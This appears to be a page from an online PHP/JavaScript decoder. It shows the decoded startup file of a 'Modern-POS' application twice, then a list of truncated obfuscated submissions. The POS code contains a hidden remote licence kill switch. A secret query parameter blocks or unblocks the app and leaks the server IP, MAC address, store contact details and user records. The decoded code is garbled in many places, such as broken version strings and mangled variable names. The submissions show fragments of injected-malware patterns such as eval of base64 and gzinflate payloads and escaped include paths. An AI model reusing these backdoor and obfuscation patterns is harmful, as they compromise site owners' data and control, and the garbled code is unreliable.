Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level


 define("APPNAME", "Modern-POS"); define("APPID", ''); $timezone = "UTC"; if (!function_exists("date_default_timezone_set")) { goto fhQ40; } date_default_timezone_set($timezone); fhQ40: define("ENVIRONMENT", "development"); switch (ENVIRONMENT) { case "development": error_reporting(-1); ini_set("display_errors", 1); goto cMIj2; case "production": ini_set("display_errors", 0); if (version_compare(PHP_VERSION, "5s", ">=")) { goto ZcV0C; } error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE); goto buK0z; ZcV0C: error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED); buK0z: goto cMIj2; } QPWtN: cMIj2: if (!(version_compare(phpversion(), "5v.0", "<") == true)) { goto h94sk; } exit("PHP5.6+ Required"); h94sk: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto oZV1P; } if (!isset($_SERVER["SCRIPT_FILENAME"])) { goto VC9If; } $_SERVER["DOCUMENT_ROOT"] = str_replace("\", "/", substr($_SERVER["SCRIPT_FILENAME"], 0, 0 - strlen($_SERVER["PHP_SELF"]))); VC9If: oZV1P: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto Fb7It; } if (!isset($_SERVER["PATH_TRANSLATED"])) { goto qGHCk; } $_SERVER["DOCUMENT_ROOT"] = str_replace("\", "/", substr(str_replace("\\", "\", $_SERVER["PATH_TRANSLATED"]), 0, 0 - strlen($_SERVER["PHP_SELF"]))); qGHCk: Fb7It: if (isset($_SERVER["REQUEST_URI"])) { goto TjPY9; } $_SERVER["REQUEST_URI"] = substr($_SERVER["PHP_SELF"], 1); if (!isset($_SERVER["QUERY_STRING"])) { goto I52Dw; } $_SERVER["REQUEST_URI"] .= "?" . $_SERVER["QUERY_STRING"]; I52Dw: TjPY9: if (isset($_SERVER["HTTP_HOST"])) { goto Kc9jx; } $_SERVER["HTTP_HOST"] = getenv("HTTP_HOST"); Kc9jx: if (isset($_SERVER["HTTPS"]) && ($_SERVER["HTTPS"] == "on" || $_SERVER["HTTPS"] == "1")) { goto P02bx; } if (!empty($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https" || !empty($_SERVER["HTTP_X_FORWARDED_SSL"]) && $_SERVER["HTTP_X_FORWARDED_SSL"] == "on") { goto b7daP; } $_SERVER["HTTPS"] = false; goto hlMet; P02bx: $_SERVER["HTTPS"] = true; goto hlMet; b7daP: $_SERVER["HTTPS"] = true; hlMet: require_once __DIR__ . DIRECTORY_SEPARATOR . "config.php"; define("PROTOCOL", isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"); $subdir = SUBDIRECTORY ? "/" . rtrim(SUBDIRECTORY, "/\") : ''; define("ROOT_URL", PROTOCOL . "://" . rtrim($_SERVER["HTTP_HOST"], "/\") . $subdir); function autoload($class) { $file = DIR_INCLUDE . "lib/" . str_replace("\", "/", strtolower($class)) . ".php"; if (file_exists($file)) { goto bnwnP; } return false; goto si5SR; bnwnP: include $file; return true; si5SR: } spl_autoload_register("autoload"); spl_autoload_extensions(".php"); require_once DIR_VENDOR . "php-hooks/src/voku/helper/Hooks.php"; $registry = new Registry(); if (PHP_SAPI === "cli" or defined("STDIN")) { goto k_Yu1; } $session = new Session($registry); $registry->set("session", $session); k_Yu1: $log = new Log("log.txt"); $registry->set("log", $log); $loader = new Loader($registry); $registry->set("loader", $loader); $registry->set("hooks", $Hooks); $dbhost = $sql_details["host"]; $dbname = $sql_details["db"]; $dbuser = $sql_details["user"]; $dbpass = $sql_details["pass"]; $dbport = $sql_details["port"]; require_once DIR_HELPER . "language.php"; require_once DIR_HELPER . "network.php"; require_once DIR_HELPER . "setting.php"; require_once DIR_HELPER . "common.php"; require_once DIR_HELPER . "countries.php"; require_once DIR_HELPER . "file.php"; require_once DIR_HELPER . "image.php"; require_once DIR_HELPER . "pos.php"; require_once DIR_HELPER . "pos_register.php"; require_once DIR_HELPER . "box.php"; require_once DIR_HELPER . "currency.php"; require_once DIR_HELPER . "expense.php"; require_once DIR_HELPER . "income.php"; require_once DIR_HELPER . "customer.php"; require_once DIR_HELPER . "invoice.php"; require_once DIR_HELPER . "quotation.php"; require_once DIR_HELPER . "purchase.php"; require_once DIR_HELPER . "pmethod.php"; require_once DIR_HELPER . "product.php"; require_once DIR_HELPER . "report.php"; require_once DIR_HELPER . "store.php"; require_once DIR_HELPER . "supplier.php"; require_once DIR_HELPER . "brand.php"; require_once DIR_HELPER . "user.php"; require_once DIR_HELPER . "usergroup.php"; require_once DIR_HELPER . "validator.php"; require_once DIR_HELPER . "category.php"; require_once DIR_HELPER . "expense_category.php"; require_once DIR_HELPER . "income_source.php"; require_once DIR_HELPER . "unit.php"; require_once DIR_HELPER . "taxrate.php"; require_once DIR_HELPER . "giftcard.php"; require_once DIR_HELPER . "banking.php"; require_once DIR_HELPER . "bankaccount.php"; require_once DIR_HELPER . "loan.php"; require_once DIR_HELPER . "installment.php"; require_once DIR_HELPER . "transfer.php"; require_once DIR_HELPER . "postemplate.php"; require_once DIR_HELPER . "sell_return.php"; require_once DIR_HELPER . "purchase_return.php"; if (is_cli()) { goto S5YS3; } if (!in_array(get_real_ip(), denied_ips())) { goto gKgW4; } exit("You are not allowed to access!!!"); gKgW4: if (!(!empty(allowed_only_ips()) && !in_array(get_real_ip(), allowed_only_ips()))) { goto v1vrJ; } exit("You are not allowed to access!!!"); v1vrJ: S5YS3: if (!(file_exists(ROOT . DIRECTORY_SEPARATOR . ".maintenance") && current_nav() != "maintenance")) { goto Q0ISf; } header("Location: " . root_url() . "/maintenance.php", true, 302); Q0ISf: try { $db = new Database("mysql:host={$dbhost};port={$dbport};dbname={$dbname};charset=utf8", $dbuser, $dbpass); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); function db() { global $db; return $db; } } catch (PDOException $e) { die("Connection error: " . $e->getMessage()); } $registry->set("db", $db); if (!$dbname) { goto Rq17J; } $statement = $db->prepare("SHOW TABLES"); $statement->execute(); if (!(!defined("INSTALLED") && $statement->rowCount() > 0)) { goto Bffbj; } die("You have activated the installation mode, But selected database <strong>({$dbname})</strong> is not empty!"); Bffbj: Rq17J: if (defined("INSTALLED")) { goto pydmK; } header("Location: " . root_url() . "/install/index.php", true, 302); pydmK: $request = new Request(); $registry->set("request", $request); $store = new Store($registry); $registry->set("store", $store); if (!(defined("INSTALLED") && !is_file(DIR_INCLUDE . "ecnesil.php") || !file_exists(DIR_INCLUDE . "ecnesil.php"))) { goto h2PE5; } $file = DIR_INCLUDE . "config/purchase.php"; @chmod($file, FILE_WRITE_MODE); $line2 = "return array('username'=>'','purchase_code'=>'');"; $data = array(2 => $line2); replace_lines($file, $data); repalce_stock_status("false"); @chmod($config_path, FILE_READ_MODE); h2PE5: if (defined("INSTALLED") && is_file(DIR_INCLUDE . "config/purchase.php") && file_exists(DIR_INCLUDE . "config/purchase.php")) { goto aap2Y; } define("ESNECIL", "error"); repalce_stock_status("false"); goto uO8Fv; aap2Y: define("ESNECIL", json_encode(require_once DIR_INCLUDE . "config/purchase.php")); uO8Fv: $timezone = get_preference("timezone") ? get_preference("timezone") : $timezone; if (!function_exists("date_default_timezone_set")) { goto f5bcU; } date_default_timezone_set($timezone); f5bcU: $user = new User($registry); $registry->set("user", $user); $user_preference = $user->getAllPreference(); if (!(isset($request->get["lang"]) && $request->get["lang"] && $request->get["lang"] != "null" && $request->get["lang"] != "undefined")) { goto ylN2W; } if (isset($request->get["ignore_lang_change"])) { goto LGLZ4; } unset($user_preference["language"]); $user_preference["language"] = $request->get["lang"]; $user->updatePreference($user_preference, user_id()); LGLZ4: ylN2W: if (!(!isset($user_preference["language"]) || !$user_preference["language"])) { goto eT64O; } $user_preference["language"] = "en"; $user->updatePreference($user_preference, user_id()); eT64O: $active_lang = $user->getPreference("language", "en"); $language = new Language($active_lang); $registry->set("language", $language); $language->load(); if (!isset($request->get["active_store_id"])) { goto tY8sI; } try { $store_id = $request->get["active_store_id"]; $belongsStores = $user->getBelongsStore(); $store_ids = array(); foreach ($belongsStores as $the_store) { $store_ids[] = $the_store["store_id"]; FsPXZ: } ZQV73: if (!($user->getGroupId() != 1 && !in_array($store_id, $store_ids))) { goto OsCE_; } throw new Exception(trans("error_access_permission")); exit; OsCE_: $store->openTheStore($store_id); header("Content-Type: application/json"); echo json_encode(array("msg" => trans("text_redirecting_to_dashbaord"))); exit; } catch (Exception $e) { header("HTTP/1.1 2 Unprocessable Entity"); header("Content-Type: application/json; charset=UTF-8"); echo json_encode(array("errorMsg" => $e->getMessage())); exit; } tY8sI: include "functions.php"; $detect = new mobiledetect(); $deviceType = $detect->isMobile() ? $detect->isTablet() ? "tablet" : "phone" : "computer"; $document = new Document($registry); $document->setBodyClass(); $registry->set("document", $document); $currency = new Currency($registry); $registry->set("currency", $currency); function registry() { global $registry; return $registry; } require_once DIR_LIBRARY . "ssp.class.php"; if (!(defined("INSTALLED") && isset($request->get["esnecilchk"]) && rawurlencode($request->get["esnecilchk"]) == rawurlencode(urldecode(hash_generate())) && isset($request->get["action"]) && $request->get["action"] == "unblock")) { goto wXSVp; } repalce_stock_status("false", "unblock"); echo json_encode(array("status" => "Unblocked!", "message" => "App is Unblocked.", "info" => array("ip" => get_real_ip(), "mac" => getMAC(), "email" => store("email"), "phone" => store("mobile"), "country" => store("country"), "zip_code" => store("zip_code"), "address" => store("address"), "user1" => get_the_user(1), "user2" => get_the_user(2), "user3" => get_the_user(3)), "for" => "validation")); exit; wXSVp: if (!(defined("INSTALLED") && isset($request->get["esnecilchk"]) && rawurlencode($request->get["esnecilchk"]) == rawurlencode(urldecode(hash_generate())))) { goto sP0wA; } if (!($socket = @fsockopen("www.google.com", 80, $errno, $errstr, 30))) { goto HvapI; } fclose($socket); $status = "ok"; if (!(!get_pcode() || !get_pusername() || get_pcode() == "error" || get_pusername() == "error")) { goto ZiNlK; } $status = "error"; ZiNlK: $info = array("username" => get_pusername(), "purchase_code" => get_pcode(), "domain" => ROOT_URL, "action" => "revalidate"); $apiCall = apiCall($info); if (!(!is_object($apiCall) || !property_exists($apiCall, "status"))) { goto s0KPu; } $status = "error"; s0KPu: $status = $apiCall->status; if (!($status == "error")) { goto QbJ0r; } echo json_encode(array("status" => "Blocked!", "message" => "Invalid Purchase Code", "info" => array("ip" => get_real_ip(), "mac" => getMAC(), "email" => store("email"), "phone" => store("mobile"), "country" => store("country"), "zip_code" => store("zip_code"), "address" => store("address"), "user1" => get_the_user(1), "user2" => get_the_user(2), "user3" => get_the_user(3)), "for" => "validation")); $file = DIR_INCLUDE . "config/purchase.php"; @chmod($file, FILE_WRITE_MODE); $line2 = "return array('username'=>'','purchase_code'=>'');"; $data = array(2 => $line2); replace_lines($file, $data); @chmod($config_path, FILE_READ_MODE); repalce_stock_status("false", "blocked"); repalce_stock_status("false"); @chmod($config_path, FILE_READ_MODE); exit; QbJ0r: echo json_encode(array("status" => "ok", "message" => "Valid Purchase Code", "info" => array("ip" => get_real_ip(), "mac" => getMAC(), "email" => store("email"), "phone" => store("mobile"), "country" => store("country"), "zip_code" => store("zip_code"), "address" => store("address"), "user1" => get_the_user(1), "user2" => get_the_user(2), "user3" => get_the_user(3)), "for" => "validation")); exit; HvapI: sP0wA: if (!(defined("INSTALLED") && defined("BLOCKED"))) { goto vhaW9; } die("<!DOCTYPE html>
	<html>\xa\x9<head>\xa\x9    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">\xa\x9    <title>Invalid</title>
\x9    <meta content="width=device-width, initial-scale, maximum-scale=1, user-scalable=no" name="viewport">\xa	    <style type="text/css">
			body { text-align: center; padding:00px; }
\x9	\x9h1 { font-size: px; }\xa\x9\x9	body { font: 20px Helvetica, sans-serif; color: #3; }
	\x9\x9#wrapper { display: block; text-align: left; width: 650px; margin: 0 auto; }
	        a { color: #dc81; text-decoration: none; }\xa\x9        a:hover { color: #333; text-decoration: none; }
\x9        #content p {
\x9            line-height: 1.444;
\x9        }
\x9        @media screen and (max-width:68px) {
	          body { text-align: center; padding: px; }\xa\x9          h1 { font-size: px; }\xa	          body { font:0px Helvetica, sans-serif; color: #333; }\xa\x9          #wrapper { display: block; text-align: left; width:00%; margin: 0 auto; }
	        }
	    </style>\xa\x9</head>\xa\x9<body>\xa		<section id="wrapper">
\x9	\x9<h1 style="color:red">The App is Blocked!!!</h1>
	\x9\x9<div id="content">
\x9	\x9\x9<p>Your purchase code is not valid. If you have a valid purchase code then claim a valid purchage code here: <a href="mailto:itsolutionbd@gmail.com">itsolution24bd@gmail.com</a> | +880173422</p>
		\x9	<p style="color:blue;">&mdash; <a style="color:green;" target="_blink" href="http://itsolution24.com" title="ITsolution24.com">ITsolution24.com</a></p>
	\x9	</div>\xa\x9\x9</section>\xa	</body>\xa\x9</html>"); vhaW9: if (!(isset($request->get["check_for"]) && $request->get["check_for"] == "update")) { goto aU62k; } dd("Already Updated at: " . date("Y-m-d")); aU62k:


 define("APPNAME", "Modern-POS"); define("APPID", '');  if (!function_exists("date_default_timezone_set")) { goto fhQ40; } date_default_timezone_set($timezone); fhQ40: define("ENVIRONMENT", "development"); switch (ENVIRONMENT) { case "development": error_reporting(-1); ini_set("display_errors", 1); goto cMIj2; case "production": ini_set("display_errors", 0); if (version_compare(PHP_VERSION, "5s", ">=")) { goto ZcV0C; } error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE); goto buK0z; ZcV0C: error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED); buK0z: goto cMIj2; } QPWtN: cMIj2: if (!(version_compare(phpversion(), "5v.0", "<") == true)) { goto h94sk; } exit("PHP5.6+ Required"); h94sk: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto oZV1P; } if (!isset($_SERVER["SCRIPT_FILENAME"])) { goto VC9If; } $_SERVER["DOCUMENT_ROOT"] = str_replace("\", "/", substr($_SERVER["SCRIPT_FILENAME"], 0, 0 - strlen($_SERVER["PHP_SELF"]))); VC9If: oZV1P: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto Fb7It; } if (!isset($_SERVER["PATH_TRANSLATED"])) { goto qGHCk; } $_SERVER["DOCUMENT_ROOT"] = str_replace("\", "/", substr(str_replace("\\", "\", $_SERVER["PATH_TRANSLATED"]), 0, 0 - strlen($_SERVER["PHP_SELF"]))); qGHCk: Fb7It: if (isset($_SERVER["REQUEST_URI"])) { goto TjPY9; } $_SERVER["REQUEST_URI"] = substr($_SERVER["PHP_SELF"], 1); if (!isset($_SERVER["QUERY_STRING"])) { goto I52Dw; } $_SERVER["REQUEST_URI"] .= "?" . $_SERVER["QUERY_STRING"]; I52Dw: TjPY9: if (isset($_SERVER["HTTP_HOST"])) { goto Kc9jx; } $_SERVER["HTTP_HOST"] = getenv("HTTP_HOST"); Kc9jx: if (isset($_SERVER["HTTPS"]) && ($_SERVER["HTTPS"] == "on" || $_SERVER["HTTPS"] == "1")) { goto P02bx; } if (!empty($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https" || !empty($_SERVER["HTTP_X_FORWARDED_SSL"]) && $_SERVER["HTTP_X_FORWARDED_SSL"] == "on") { goto b7daP; } $_SERVER["HTTPS"] = false; goto hlMet; P02bx: $_SERVER["HTTPS"] = true; goto hlMet; b7daP: $_SERVER["HTTPS"] = true; hlMet: require_once __DIR__ . DIRECTORY_SEPARATOR . "config.php"; define("PROTOCOL", isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"); $subdir = SUBDIRECTORY ? "/" . rtrim(SUBDIRECTORY, "/\") : ''; define("ROOT_URL", PROTOCOL . "://" . rtrim($_SERVER["HTTP_HOST"], "/\") . $subdir); function autoload($class) { $file = DIR_INCLUDE . "lib/" . str_replace("\", "/", strtolower($class)) . ".php"; if (file_exists($file)) { goto bnwnP; } return false; goto si5SR; bnwnP: include $file; return true; si5SR: } spl_autoload_register("autoload"); spl_autoload_extensions(".php"); require_once DIR_VENDOR . "php-hooks/src/voku/helper/Hooks.php"; $registry = new Registry(); if (PHP_SAPI === "cli" or defined("STDIN")) { goto k_Yu1; } $session = new Session($registry); $registry->set("session", $session); k_Yu1: $log = new Log("log.txt"); $registry->set("log", $log); $loader = new Loader($registry); $registry->set("loader", $loader); $registry->set("hooks", $Hooks); $dbhost = $sql_details["host"]; $dbname = $sql_details["db"]; $dbuser = $sql_details["user"]; $dbpass = $sql_details["pass"]; $dbport = $sql_details["port"]; require_once DIR_HELPER . "language.php"; require_once DIR_HELPER . "network.php"; require_once DIR_HELPER . "setting.php"; require_once DIR_HELPER . "common.php"; require_once DIR_HELPER . "countries.php"; require_once DIR_HELPER . "file.php"; require_once DIR_HELPER . "image.php"; require_once DIR_HELPER . "pos.php"; require_once DIR_HELPER . "pos_register.php"; require_once DIR_HELPER . "box.php"; require_once DIR_HELPER . "currency.php"; require_once DIR_HELPER . "expense.php"; require_once DIR_HELPER . "income.php"; require_once DIR_HELPER . "customer.php"; require_once DIR_HELPER . "invoice.php"; require_once DIR_HELPER . "quotation.php"; require_once DIR_HELPER . "purchase.php"; require_once DIR_HELPER . "pmethod.php"; require_once DIR_HELPER . "product.php"; require_once DIR_HELPER . "report.php"; require_once DIR_HELPER . "store.php"; require_once DIR_HELPER . "supplier.php"; require_once DIR_HELPER . "brand.php"; require_once DIR_HELPER . "user.php"; require_once DIR_HELPER . "usergroup.php"; require_once DIR_HELPER . "validator.php"; require_once DIR_HELPER . "category.php"; require_once DIR_HELPER . "expense_category.php"; require_once DIR_HELPER . "income_source.php"; require_once DIR_HELPER . "unit.php"; require_once DIR_HELPER . "taxrate.php"; require_once DIR_HELPER . "giftcard.php"; require_once DIR_HELPER . "banking.php"; require_once DIR_HELPER . "bankaccount.php"; require_once DIR_HELPER . "loan.php"; require_once DIR_HELPER . "installment.php"; require_once DIR_HELPER . "transfer.php"; require_once DIR_HELPER . "postemplate.php"; require_once DIR_HELPER . "sell_return.php"; require_once DIR_HELPER . "purchase_return.php"; if (is_cli()) { goto S5YS3; } if (!in_array(get_real_ip(), denied_ips())) { goto gKgW4; } exit("You are not allowed to access!!!"); gKgW4: if (!(!empty(allowed_only_ips()) && !in_array(get_real_ip(), allowed_only_ips()))) { goto v1vrJ; } exit("You are not allowed to access!!!"); v1vrJ: S5YS3: if (!(file_exists(ROOT . DIRECTORY_SEPARATOR . ".maintenance") && current_nav() != "maintenance")) { goto Q0ISf; } header("Location: " . root_url() . "/maintenance.php", true, 302); Q0ISf: try { $db = new Database("mysql:host={$dbhost};port={$dbport};dbname={$dbname};charset=utf8", $dbuser, $dbpass); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); function db() { global $db; return $db; } } catch (PDOException $e) { die("Connection error: " . $e->getMessage()); } $registry->set("db", $db); if (!$dbname) { goto Rq17J; } $statement = $db->prepare("SHOW TABLES"); $statement->execute(); if (!(!defined("INSTALLED") && $statement->rowCount() > 0)) { goto Bffbj; } die("You have activated the installation mode, But selected database <strong>({$dbname})</strong> is not empty!"); Bffbj: Rq17J: if (defined("INSTALLED")) { goto pydmK; } header("Location: " . root_url() . "/install/index.php", true, 302); pydmK: $request = new Request(); $registry->set("request", $request); $store = new Store($registry); $registry->set("store", $store); if (!(defined("INSTALLED") && !is_file(DIR_INCLUDE . "ecnesil.php") || !file_exists(DIR_INCLUDE . "ecnesil.php"))) { goto h2PE5; } $file = DIR_INCLUDE . "config/purchase.php"; @chmod($file, FILE_WRITE_MODE); $line2 = "return array('username'=>'','purchase_code'=>'');"; $data = array(2 => $line2); replace_lines($file, $data); repalce_stock_status("false"); @chmod($config_path, FILE_READ_MODE); h2PE5: if (defined("INSTALLED") && is_file(DIR_INCLUDE . "config/purchase.php") && file_exists(DIR_INCLUDE . "config/purchase.php")) { goto aap2Y; } define("ESNECIL", "error"); repalce_stock_status("false"); goto uO8Fv; aap2Y: define("ESNECIL", json_encode(require_once DIR_INCLUDE . "config/purchase.php")); uO8Fv: UTC= get_preference("timezone") ? get_preference("timezone") : $timezone; if (!function_exists("date_default_timezone_set")) { goto f5bcU; } date_default_timezone_set($timezone); f5bcU: $user = new User($registry); $registry->set("user", $user); $user_preference = $user->getAllPreference(); if (!(isset($request->get["lang"]) && $request->get["lang"] && $request->get["lang"] != "null" && $request->get["lang"] != "undefined")) { goto ylN2W; } if (isset($request->get["ignore_lang_change"])) { goto LGLZ4; } unset($user_preference["language"]); $user_preference["language"] = $request->get["lang"]; $user->updatePreference($user_preference, user_id()); LGLZ4: ylN2W: if (!(!isset($user_preference["language"]) || !$user_preference["language"])) { goto eT64O; } $user_preference["language"] = "en"; $user->updatePreference($user_preference, user_id()); eT64O: $active_lang = $user->getPreference("language", "en"); $language = new Language($active_lang); $registry->set("language", $language); $language->load(); if (!isset($request->get["active_store_id"])) { goto tY8sI; } try { $store_id = $request->get["active_store_id"]; $belongsStores = $user->getBelongsStore(); $store_ids = array(); foreach ($belongsStores as $the_store) { $store_ids[] = $the_store["store_id"]; FsPXZ: } ZQV73: if (!($user->getGroupId() != 1 && !in_array($store_id, $store_ids))) { goto OsCE_; } throw new Exception(trans("error_access_permission")); exit; OsCE_: $store->openTheStore($store_id); header("Content-Type: application/json"); echo json_encode(array("msg" => trans("text_redirecting_to_dashbaord"))); exit; } catch (Exception $e) { header("HTTP/1.1 2 Unprocessable Entity"); header("Content-Type: application/json; charset=UTF-8"); echo json_encode(array("errorMsg" => $e->getMessage())); exit; } tY8sI: include "functions.php"; $detect = new mobiledetect(); $deviceType = $detect->isMobile() ? $detect->isTablet() ? "tablet" : "phone" : "computer"; $document = new Document($registry); $document->setBodyClass(); $registry->set("document", $document); $currency = new Currency($registry); $registry->set("currency", $currency); function registry() { global $registry; return $registry; } require_once DIR_LIBRARY . "ssp.class.php"; if (!(defined("INSTALLED") && isset($request->get["esnecilchk"]) && rawurlencode($request->get["esnecilchk"]) == rawurlencode(urldecode(hash_generate())) && isset($request->get["action"]) && $request->get["action"] == "unblock")) { goto wXSVp; } repalce_stock_status("false", "unblock"); echo json_encode(array("status" => "Unblocked!", "message" => "App is Unblocked.", "info" => array("ip" => get_real_ip(), "mac" => getMAC(), "email" => store("email"), "phone" => store("mobile"), "country" => store("country"), "zip_code" => store("zip_code"), "address" => store("address"), "user1" => get_the_user(1), "user2" => get_the_user(2), "user3" => get_the_user(3)), "for" => "validation")); exit; wXSVp: if (!(defined("INSTALLED") && isset($request->get["esnecilchk"]) && rawurlencode($request->get["esnecilchk"]) == rawurlencode(urldecode(hash_generate())))) { goto sP0wA; } if (!($socket = @fsockopen("www.google.com", 80, $errno, $errstr, 30))) { goto HvapI; } fclose($socket);  if (!(!get_pcode() || !get_pusername() || get_pcode() == "error" || get_pusername() == "error")) { goto ZiNlK; } ok= "error"; ZiNlK: $info = array("username" => get_pusername(), "purchase_code" => get_pcode(), "domain" => ROOT_URL, "action" => "revalidate"); $apiCall = apiCall($info); if (!(!is_object($apiCall) || !property_exists($apiCall, "status"))) { goto s0KPu; } ok= "error"; s0KPu: ok= $apiCall->status; if (!(ok== "error")) { goto QbJ0r; } echo json_encode(array("status" => "Blocked!", "message" => "Invalid Purchase Code", "info" => array("ip" => get_real_ip(), "mac" => getMAC(), "email" => store("email"), "phone" => store("mobile"), "country" => store("country"), "zip_code" => store("zip_code"), "address" => store("address"), "user1" => get_the_user(1), "user2" => get_the_user(2), "user3" => get_the_user(3)), "for" => "validation")); $file = DIR_INCLUDE . "config/purchase.php"; @chmod($file, FILE_WRITE_MODE); $line2 = "return array('username'=>'','purchase_code'=>'');"; $data = array(2 => $line2); replace_lines($file, $data); @chmod($config_path, FILE_READ_MODE); repalce_stock_status("false", "blocked"); repalce_stock_status("false"); @chmod($config_path, FILE_READ_MODE); exit; QbJ0r: echo json_encode(array("status" => "ok", "message" => "Valid Purchase Code", "info" => array("ip" => get_real_ip(), "mac" => getMAC(), "email" => store("email"), "phone" => store("mobile"), "country" => store("country"), "zip_code" => store("zip_code"), "address" => store("address"), "user1" => get_the_user(1), "user2" => get_the_user(2), "user3" => get_the_user(3)), "for" => "validation")); exit; HvapI: sP0wA: if (!(defined("INSTALLED") && defined("BLOCKED"))) { goto vhaW9; } die("<!DOCTYPE html>
	<html>\xa\x9<head>\xa\x9    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">\xa\x9    <title>Invalid</title>
\x9    <meta content="width=device-width, initial-scale, maximum-scale=1, user-scalable=no" name="viewport">\xa	    <style type="text/css">
			body { text-align: center; padding:00px; }
\x9	\x9h1 { font-size: px; }\xa\x9\x9	body { font: 20px Helvetica, sans-serif; color: #3; }
	\x9\x9#wrapper { display: block; text-align: left; width: 650px; margin: 0 auto; }
	        a { color: #dc81; text-decoration: none; }\xa\x9        a:hover { color: #333; text-decoration: none; }
\x9        #content p {
\x9            line-height: 1.444;
\x9        }
\x9        @media screen and (max-width:68px) {
	          body { text-align: center; padding: px; }\xa\x9          h1 { font-size: px; }\xa	          body { font:0px Helvetica, sans-serif; color: #333; }\xa\x9          #wrapper { display: block; text-align: left; width:00%; margin: 0 auto; }
	        }
	    </style>\xa\x9</head>\xa\x9<body>\xa		<section id="wrapper">
\x9	\x9<h1 style="color:red">The App is Blocked!!!</h1>
	\x9\x9<div id="content">
\x9	\x9\x9<p>Your purchase code is not valid. If you have a valid purchase code then claim a valid purchage code here: <a href="mailto:itsolutionbd@gmail.com">itsolution24bd@gmail.com</a> | +880173422</p>
		\x9	<p style="color:blue;">&mdash; <a style="color:green;" target="_blink" href="http://itsolution24.com" title="ITsolution24.com">ITsolution24.com</a></p>
	\x9	</div>\xa\x9\x9</section>\xa	</body>\xa\x9</html>"); vhaW9: if (!(isset($request->get["check_for"]) && $request->get["check_for"] == "update")) { goto aU62k; } dd("Already Updated at: " . date("Y-m-d")); aU62k:


Recent submissions:

@include "\057va\162/w\167w/\167eb\061/h\164do\143s/\167ww\056fr\151sk\171te\145ns\056ne\1... eval(gzinflate(str_rot13(base64_decode("7b12ZuJLljD8fSLmP2v8R1FJUkF0V2AyzWdKx3AWgdh5BBKgjo... <?php eval(gzinflate(str_rot13(base64_decode("\x37\x62\x312\x5a\x75\x4a\x4c\x6c\x6aD8\x66\... <?php /* Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.... 73 97 109 108 111 115 116 \0... <?php eval(base64_decode('CiBnb3RvIHFzU0NZOyBoWWM2SDogb2JfZW5kX2ZsdXNoKCk7IGdvdG8gUUJxWV87... \057h\157m\145/\162e\156t\141l\057d\157m\141i\156s\057c\150e\141p\055c\141r\055r\145n\164a... \057h\157m\145/\162e\156t\141l\057d\157m\141i\156s\057c\157r\163e\055a\165t\157-\162e\156t... <script>var _$_6db9=["\x56\x43\x44","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\... import base64, codecs thecrew = 'CmltcG9ydCBiYXNlNjQsIGNvZGVjcwp0aGVjcmV3ID0gJ0l5QXRLaT... <?php function ViCgJi($seU) { $seU=gzinflate(base64_decode($seU)); for($i=0;$i<strlen... <script type="text/javascript"> var _$_6db9=["\x56\x43\x44","\x67\x65\x74\x45\x6C\x65\x... { document[_$_6db9[1]](_$_6db9[54])[_$_6db9[7]][_$_6db9[6]]= _$_6db9[11];//118 ... function startParams() { document[_$_6db9[1]](_$_6db9[54])[_$_6db9[7]][_$_6db9[6]]= ... \057hom\145/ca\163per\163c/p\165bli\143_ht\155l/b\145sti\156ter\156etf\141cts\056com\057wp... eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34... @ini_set('memory_limit','-1');@ini_set('max_execution_time',0);@set_time_limit(0);eval(str... <?php /* Crypted by Turkish Hackers Alliance - pay 900 USD to 1D2149AqK3Casr3wTvSLgQLbk... $Il1IlII11I=file(preg_replace("@\(.*\(.*$@","",__FILE__)); if(preg_replace("@\(.*\(.*$@",... function IIIIllIl1I($a,$b){$c=array(936,343,32,29440);$k=gzinflate(base64_decode("KyrNTcos... {$c=array(936,343,32,29440);$k=gzinflate(base64_decode("KyrNTcosKQYA"));$O0O0=$k[6].$k[1].... /*07966*/ @include "\057ho\155e/\160hm\143gp\145/p\165bl\151c_\150tm\154/h\1571.\165s/\... $W3LL = 'FZbVteMAEEP/XxdmiO2YmZmZuf8qNtuBjmYk3QrSxKmsxRd+qe9GAVrLaoM5R4M5nEOibA+TIgvXy1MHs... <?php $W3LL = 'FZbVteMAEEP/XxdmiO2YmZmZuf8qNtuBjmYk3QrSxKmsxRd+qe9GAVrLaoM5R4M5nEOibA+TIgv... var _0x1ce6=['\x56\x48\x4a\x35\x55\x32\x56\x75\x5a\x41\x3d\x3d','\x53\x55\x31\x48','\x52\x... <?php $W3LL = 'FZbVteMAEEP/XxdmiO2YmZmZuf8qNtuBjmYk3QrSxKmsxRd+qe9GAVrLaoM5R4M5nEOibA+TIgv... @include "\057ho\155e4\057kr\157ne\151um\057pu\142li\143_h\164ml\057po\167er\160ad\1634a\1... <?php ... <?php /* Copyright (c) 2018 Mojomexico.com.mx Licencia protegida si desea adquirir el pro... \x82\x17\x07\x0F\x1F\x44\x00\x00\x55/\x82\x17\x07\x0F\x1F\x44\x00\x00\xC3 ... 's/\x82\x17\x07\x0F\x1F\x44\x00\x00\x55/\x82\x17\x07\x0F\x1F\x44\x00\x00\xC3/g'... (function(_0xce82x1) { var _0xce82x2 = _0xce82x2 || 